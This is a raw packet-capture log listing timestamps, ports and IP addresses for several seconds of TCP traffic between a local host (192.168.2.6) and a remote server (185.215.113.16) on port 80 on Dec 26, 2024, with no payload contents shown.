Dec 26, 2024 12:52:11.156320095 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.156405926 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.156454086 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.157140017 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.157212019 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.157258034 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.158058882 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.158217907 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.158237934 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.158886909 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.159033060 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.159059048 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.159708023 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.159874916 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.159966946 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.160691023 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.160737038 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.160753012 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.161469936 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.161544085 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.161570072 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.162249088 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.162327051 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.162349939 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.163098097 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.163270950 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.163328886 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.163990974 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.164062977 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.164167881 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.164743900 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.164891958 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.324317932 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.324455976 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.324526072 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.324661970 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.324812889 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.324963093 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.325536966 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.325623989 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.325681925 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.326397896 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.326500893 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.326565027 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.327267885 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.327373028 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.327426910 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.328126907 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.328265905 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.328331947 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.328922033 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.329118013 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.329289913 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.329787970 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.329885960 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.330033064 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.330643892 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.330780029 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.330827951 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.331475973 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.331598043 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.331650972 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.332345009 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.332511902 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.332561970 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.333286047 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.333374023 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.333427906 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.334084034 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.334346056 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.334450960 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.334903955 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.334983110 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.335163116 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.335834980 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.335908890 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.335958958 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.336618900 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.336780071 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.336844921 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.337584972 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.337687969 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.337744951 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.338323116 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.338463068 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.338593960 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.339241982 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.339391947 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.339580059 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.340158939 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.340194941 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.340430975 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.340898037 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.341001034 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.341052055 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.341784000 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.342077017 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.342128992 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.342638969 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.342744112 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.342804909 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.343451023 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.343561888 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.343759060 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.344362020 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.344491005 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.344537973 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.345180988 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.345248938 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.345352888 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.346035957 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.346107006 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.346803904 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.346869946 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.346921921 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.347790956 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.347841978 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.347877979 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.348618031 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.348669052 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.348759890 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.348831892 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.349463940 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.349570036 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.349622011 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.350281000 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.350395918 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.350445986 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.351198912 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.351249933 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.351296902 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.352080107 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.352201939 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.352960110 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.353009939 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.353056908 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.353703976 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.353812933 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.353876114 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.353925943 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.354583025 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.354659081 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.354708910 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.355380058 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.355669975 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.355715036 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.356224060 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.356376886 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.356431961 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.357239962 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.357292891 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.357341051 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.357981920 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.358093023 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.358144999 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.358859062 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.359006882 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.359055042 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.359638929 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.359803915 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.359858036 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.360491037 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.360629082 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.360686064 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.361365080 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.361480951 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.361527920 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.362287998 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.362340927 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.362668991 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.363188982 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.363224030 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.363271952 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.363993883 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.364084959 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.364131927 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.364777088 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.364876986 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.364933014 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.365699053 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.365787983 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.366504908 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.366573095 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.366761923 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.367069960 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.367377996 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.367683887 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.367732048 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.368277073 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.368330956 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.368376970 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.368985891 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.512250900 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.534884930 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.535015106 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.535080910 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.535347939 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.535499096 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.535550117 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.536185026 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.536356926 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.536801100 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.537228107 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.537339926 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.537393093 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.538037062 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.538245916 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.538296938 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.538902044 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.539000988 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.539052010 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.539866924 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.540296078 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.540345907 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.541119099 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.541230917 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.541276932 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.542079926 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.542114973 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.542161942 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.542680979 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.542771101 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.543247938 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.543293953 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.543324947 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.543785095 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.543797016 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.543826103 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.543840885 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.544650078 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.544742107 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.544804096 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.545521021 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.545636892 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.546367884 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.546413898 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.546447992 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.547214031 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.547261000 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.547303915 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.547342062 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.548064947 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.548197985 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.548247099 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.548944950 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.549122095 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.549169064 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.549837112 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.549871922 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.550623894 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.550672054 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.550728083 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.551453114 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.551500082 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.551548004 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.551584959 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.552321911 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.552455902 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.552510023 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.553205013 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.553317070 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.553364038 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.554017067 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.554130077 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.554898977 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.554949045 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.554982901 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.555721998 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.555804968 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.555995941 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.556035995 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.556818962 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.556874037 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.556921959 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.557842970 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.557980061 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.558027983 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.558756113 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.558814049 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.559343100 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.559398890 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.559432030 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.560005903 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.560058117 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.560084105 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.560125113 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.560846090 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.560959101 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.561009884 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.561729908 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.561860085 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.561906099 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.562683105 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.562767029 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.562808037 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.563504934 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.563564062 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.564285040 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.564333916 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.564378023 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.564800978 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.565157890 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.565256119 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.565300941 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.566024065 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.566308022 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.566349030 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.566840887 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.566997051 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.567682981 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.567732096 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.567759037 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.568573952 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.568612099 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.568631887 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.568665028 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.569380999 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.569430113 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.569473028 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.570270061 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.570378065 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.570416927 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.571171045 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.571274996 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.571964025 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.572005033 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.572036028 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.572777987 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.572794914 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.572899103 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.573652029 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.573699951 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.573766947 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.574589968 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.574637890 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.574688911 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.574747086 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.575418949 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.575576067 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.575702906 CET	49842	80	192.168.2.6	185.215.113.16
